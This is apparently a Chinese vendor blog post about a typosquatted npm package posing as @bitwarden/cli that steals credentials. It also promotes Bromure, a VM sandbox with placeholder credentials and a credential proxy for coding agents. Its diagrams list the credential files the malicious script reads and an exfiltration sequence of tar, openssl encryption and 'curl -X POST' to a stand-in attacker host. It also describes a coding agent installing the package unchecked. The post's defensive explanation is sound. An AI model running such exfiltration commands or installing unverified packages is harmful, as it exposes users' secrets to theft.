返回所有文章
发布于 · 作者 Renaud Deraison

你的编码智能体装上了那个假 Bitwarden

4 月 22 日,有人往 npm 上传了一个名为 @bitwarden/[email protected] 的恶意包——一个抢注式拼写错误包,会把任何运行它的机器上的 SSH 私钥、AWS/Azure/GCP 凭证、GitHub token、npm 发布 token 和 kubeconfig 一并扫走。它瞄准的目标,恰好是当今编码智能体不假思索就在做的事:npm 返回什么就装什么。本文展示这条攻击链长什么样,以及当智能体跑在 Bromure 虚拟机里、而不是你的笔记本上时,会有什么不同。

上周有人在 npm 上传了一个叫 @bitwarden/[email protected] 的包。 真正的 Bitwarden CLI 没事。假的那个是抢注式拼写错误包,带 着一段 post-install 脚本,会读开发者的 SSH 私钥、AWS 凭证、 npm token 和 kubeconfig,然后把这一束 POST 给某人租来的 IP 段里的服务器。这里头藏着一个笑话——一个名义上的密码 管理器实际工作是偷凭证——但更有用的观察是:在 2026 年, 最有可能去敲 npm install @bitwarden/cli 的,已经不再是 人类开发者了,而是编码智能体——它们装的是 npm 给它们的 任何东西。

好了。先用三句话把消息讲清楚。

2026 年 4 月 22 日,有人在 npm 上以 @bitwarden/[email protected] 的名字发了一个包。根据 Unit 42 的分析,这个包是 抢注式拼写错误包,归属于一个自称 TeamPCP 的小团伙——三周前 Datadog 把它和 LiteLLM 的 PyPI 入侵联系 起来过——它的 post-install 脚本会扫遍宿主机,搜刮 AWS、Azure 和 GCP 凭证、npm 发布 token、GitHub token、SSH 私钥和 kubeconfig,打包好之后发到攻击者的基础设施。OX Security 把 同一事件放进更大的语境里,称之为 Shai-Hulud 的第三次降临——这是一条自我复制的供应链 蠕虫的最新一条记录,自 2025 年 9 月以来已经吃掉了数千个 npm 包,并且看不出有歇下来的意思。

在讨论怎么办之前,先把那个笑话搬开:这个假 Bitwarden CLI 在某种意义上,正是在做一个 Bitwarden CLI应该做的事。 它 的工作就是知道很多凭证。只是这次的凭证不是用户报名要它 管的那批。算了。攻击本身在机制上没有意思。有意思的,也是 让这次事件值得写一篇的,是谁会去装它。

一个没人再敲的包。

想用真 Bitwarden CLI 的人类开发者,通常会去 bitwarden.com/help/cli,看一遍 文档,从一个 TLS 证书链能追溯到熟悉厂商的页面里复制安装 命令,然后敲下来。她也可能敲错——抢注式拼写错误包的整个 前提就是这个——但她得是匆忙、视野不好且运气不佳的状态。

编码智能体既不匆忙、也不视野不好、也不运气不佳。它们 更糟糕:自信地错下去,机器速度。你让 Claude Code 去 "把 Bitwarden 接上,让部署脚本能从保险库里取出 API key",模型——读过一百万篇写着 npm install -g @bitwarden/cli 的博客的模型——就敲了 npm install -g @bitwarden/cli。包 管理器返回了某个@bitwarden/cli 的包。没人在循环里 查 publisher 字段。没有 bitwarden.com 证书链可以检查,因为 npm 就是证书链。事实上,智能体没有任何理由不去运行包 里附带的 post-install 脚本——npm 包本来就是这么用的。

开发者笔记本——智能体跑的任何东西都能看到宿主文件系统编码智能体$ claude> 把 bitwarden cli 接上tool: bashnpm i -g @bitwarden/clinpm 仓库@bitwarden/cli 2026.4.0 ← typosquat publisher: not-bitwarden scripts.postinstall: yespost-install 读取宿主~/.ssh/id_ed25519~/.aws/credentials~/.kube/config~/.npmrc // _authToken$GH_TOKEN~/.config/gcloud/~/.azure/tar | aes-256 | rsa-4096POST https://…/drop全是真的、全可读攻击者已得手全部外传智能体没注意到的事名为 @bitwarden/cli 的包,依规范,本来就允许读用户家目录并访问一个 URL。这条链里没有任何 npm 或 Node 的漏洞。这就是文档里写明的契约。
这条链在普通开发者笔记本上的样子,由智能体来敲键盘。智能体要 `@bitwarden/cli`。仓库返回那个抢注式拼写错误包。post-install 脚本读 ~/.aws、~/.ssh、~/.npmrc、$GH_TOKEN、~/.kube/config——也就是智能体本来就需要拿到才能干活的所有东西——然后 POST 给攻击者的基础设施。整条链没有任何反常的东西,这就是 npm post-install 钩子的文档化行为,作用在一个人类原本就不会去检查的包上。

这张图里要注意的是,链条里没有一处算 bug。npm 包本来就允许 携带 postinstall 脚本。这些脚本和调用 npm 的用户拥有 相同的权限。一段以用户身份运行的脚本能读到用户能读到的一切。 那就包括——而这正是当智能体在敲键盘时会变成问题的部分—— ~/.ssh/id_ed25519~/.aws/credentials~/.npmrc 里那个 能让你重新发布别的包的 npm 发布 token、坐在你 shell 里的 GitHub token、还有那个让你能往生产 kubectl exec 的 kubeconfig。你不是为了智能体把这些东西放在那儿的,是为了 你自己。 智能体现在借你的手在用。

如果是 2018 年我向你推销同样的问题,到这儿我会说"所以你应 该用沙箱"。你也会理直气壮地说"沙箱我听过"。然后我们俩就一 起去喝咖啡了。我之所以在 2026 年还要写这篇文章,是因为那个 真正能把 @bitwarden/cli 这种场景变成无关痛痒的非事件的 沙箱,和过去十年提出的那种沙箱,长得有点不一样——而这个不 一样恰好就是关键所在。

真正的修复长这样。

假设这套东西不在你 Mac 上跑,编码智能体跑在一台 Linux 虚拟 机里,而这台虚拟机共享你指给它看的那个项目文件夹。再 假设这台虚拟机的 ~/.aws/credentials 是个占位——一个语法上 合法、但什么真东西都没有的 AWS 凭证文件——~/.npmrc$GH_TOKEN 和其余一切同理。再假设虚拟机里压根就没有 ~/.ssh/id_ed25519,只有一个被转发进去的 ssh-agent socket, 真正的私钥在边界宿主侧的 macOS 钥匙串里。最后假设宿主侧有 一个小代理,能在线路上识别那些占位 token,然后把它们替换成 真的——但只在白名单端点上替换,且只在请求真的离开虚拟机管理 程序的那一刻替换。

现在让 @bitwarden/cli 的 post-install 脚本在这台虚拟机里 跑。它做的事情和之前完全一样。读 ~/.aws/credentials。读 ~/.npmrc。读 $GH_TOKEN。它甚至会读 ssh-agent socket 文件本身的内容——而那是一个 Unix 域 socket,长度是零字节。 它把这些东西打包,用硬编码的 RSA-4096 密钥加密,然后 POST 到它的 drop 服务器上。

drop 服务器会收到一个加密学上完全规范的占位符大礼包。

BROMURE 虚拟机 (Linux 宾客) ——post-install 脚本能看到的编码智能体$ claude> 把 bitwarden 接上tool: bashnpm i -g @bw/cli↳ postinstall 在跑文件系统 & 环境——只有占位~/.aws/credentialsaws_secret = stub-aws-…~/.npmrc_authToken = stub-npm-…$GH_TOKENghp_stub_…~/.ssh/id_ed25519No such file or directory~/.ssh/agent.socksocket → 宿主钥匙串外传企图tar -cf bundle …openssl rsautl -encryptcurl -X POST drop.bad/u载荷:占位 加密了,但还是占位虚拟机管理程序——凭证代理macOS 宿主——真正的秘密,从未越过边界真正的凭证保险柜macOS 钥匙串id_ed25519 (私钥)~/.aws/credentialsAKIA… (真)~/.config/gh/hosts.ymlghp_real…~/.kube/configprod bearer (真)~/.npmrcnpm_… (真发布)代理——出口处把占位换成真值git push → api.github.com Authorization: ghp_stub_… ⇒ ghp_real_…aws s3 ls → *.amazonaws.com AKIA-stub ⇒ AKIA-real (sigv4 重新签名)drop.bad/u: 不在白名单 ⇒ 占位原样出去占位出去,代理无匹配外传请求允许出去。只是里面没什么有用的东西。
同样的链条,发生在 Bromure 虚拟机里。智能体跑同一条安装命令。post-install 脚本做同样的扫描。它在 ~/.aws、~/.npmrc 和 $GH_TOKEN 里找到的凭证,是虚拟机本来就准备好了的占位。磁盘上没有 SSH 私钥,因为本来就没;只有一个被转发进来的 ssh-agent socket,真正的密钥材料活在另一边——管理程序对面的 macOS 钥匙串里。外传 POST 出去了,加密了,里头装着占位。

图里有几处微妙的地方值得放慢看,因为这正是这个设计和容器的 区别。

第一是这个代理是出向的白名单制的在线路上。它不是 虚拟机里的 sidecar。虚拟机从来没有在任何可触达的形式上拿到 真正的 GitHub token。没有可以 dump 的环境变量,没有可以读取 的文件,没有可以 scrape 的内存页。智能体执行 git push 时, 请求带着 Authorization 头里的占位离开虚拟机;宿主上的代理 识别这个占位,把你的真 ghp_… 换进去,转发请求,再把响应 转发回来。当恶意软件执行 curl -X POST drop.bad/u,代理去 查 drop.bad,在白名单里查不到,它要么把这条请求扔了,要么 ——视虚拟机的出口策略而定——原样转发,里面塞着恶意软件抓到 的那个占位。无论哪种方式,在恶意软件唯一在看的那一刻,真正 的凭证都在边界的另一边。

第二是 SSH 私钥在任何意义上都不在虚拟机里。ssh-agent 跑在 macOS 上。它的私钥住在 macOS 钥匙串里。Bromure 把 agent 的 socket 转发——和 OpenSSH 自 90 年代起一直在做的方式一样,原 因也一样——进虚拟机。在虚拟机里,sshgit 该怎么用还 怎么用;底层的签名操作发生在宿主侧,虚拟机里跑的恶意软件看 不到。一个 cat ~/.ssh/id_ed25519 的包会得到 No such file or directory,然后回家。

为什么容器到不了这一步。

听我说。这时候的一个反对意见——而且很合理——是:"好啊,但 Docker 我们用了十年了,可以把智能体跑在一个容器里啊,这不 就够了吗?" 本来够的,除了两个无聊的原因。

第一个是,要让一个容器对编码智能体真正在做的那些事—— git pushgh pr createaws s3 cpnpm publishkubectl exec——有用,你最后总会把 ~/.ssh~/.aws/credentials~/.npmrc 和你的 GitHub token 挂 容器里。这时候,post-install 脚本就 cat ~/.ssh/id_ed25519 拿到真文件了。容器没有凭证代理;它有的是 bind mount。bind mount 正好是恶意软件正在找的那块软腹。

第二个是,在 macOS 上,那个容器无论如何也是跑在一个隐藏的 Linux 虚拟机里。Docker Desktop 自带一个;OrbStack 自带一 个;Colima 自带一个。虚拟机的成本——磁盘、内存、启动时 间——你已经在付了。在 macOS 上,2026 年用容器的理由不是"它 更轻",只是"我习惯了"。Bromure 把中间这层切掉。只有一个 虚拟机。它是可见的、可配置的、属于你的。凭证代理和 ssh-agent 转发,是容器模式从来没讲清楚过的那两块。

trace 抓到的、那段你本来不会读的东西。

关于一个智能体装了没人要它装的东西,还有一件事值得说:很多 时候没人发现。智能体跑了 npm install,智能体拿回一墙输 出,智能体在 chat 里把"我装好了 Bitwarden CLI 并配置好了" 浓缩成一句话,你就翻过去了。post-install 脚本就是在那一墙 输出中间跑的。你没读那墙输出。没人读那墙输出。

Bromure 的会话 tracer 把那墙输出抓住了——每一个 prompt、 每一次工具调用、每一条 shell 命令、每一次文件写入、每一个 退出码——而且让你在会话结束之后还能往回滚去看。"找出智能体 今天跑过的每一条 npm install" 是一个 grep。"智能体跑没 跑过任何在项目文件夹之外写文件的工具" 是一个 grep。下一个 @bitwarden/[email protected] 出现的时候——它一定会出现——trace 告诉你哪些会话碰过它、当时挂载了哪些项目文件夹。你不用从 记忆里、或者从一段不完整的滚动回放里去重建。会话本身就是 审计日志。

它能抓到的

一个在 Bromure 虚拟机里安装 @bitwarden/cli(或 litellmaxios,或下一个)的编码智能体,去扫凭证时,找到的是一个 空的 SSH 目录和一串占位钥匙。post-install 脚本跑了。外传 POST 出去了。打包出去的是占位。爆炸半径止于这台虚拟机。

重置让什么变成非事件

如果恶意软件除了偷凭证还干了别的——crontab 里的持久化、 被下毒的 ~/.bashrc、宾客里 launchd 的等价物——这些东西 没有一个能熬过下一次 bromure reset。你不需要找出那些 持久化;你只需要把它扔掉。三秒钟,新内核,继续写代码。

它抓不到的

一个调用了你已经放进白名单的真后端的包——比如说一个用你 真正的 GitHub token 去删除你自己仓库的包——会在线路 上拿到真 token,按设计如此,因为 git push 就是这么工 作的。防御靠的是一份小小的出口白名单和一份会话 trace, 不是无所不知。落到项目文件夹里的损害还是会落到项目文件 夹里。

还得人来做的

Bromure 没办法阻止一个编码智能体被劝着提交了坏代码。边界 保护的是你机器上的凭证;它不审 diff。读 diff。trace 让你 知道该读哪些 diff 这件事更容易。

最后一件事。

这个故事还有一个版本,里面的教训会是"审计你的依赖"。再有 另一个版本,教训会是"别再用 npm 了"。两种版本都存在,两种 都有部分道理,并且这个季度在你团队里都不会发生。

这个季度在你团队里真的会发生的版本是:智能体会装上一个不 该装的东西,因为智能体装了很多东西,它装的那条长尾里某处会 有一个,是上周三某个自称 TeamPCP 或 Shai-Hulud、或下一拨自 称什么的人传上去的。问题就只是:发生时,post-install 脚本 找到的是秘密——还是一堵墙。

Bromure Agentic Coding 就是那堵墙。它还 是免费的、开源的,今天就发了。该你出招了。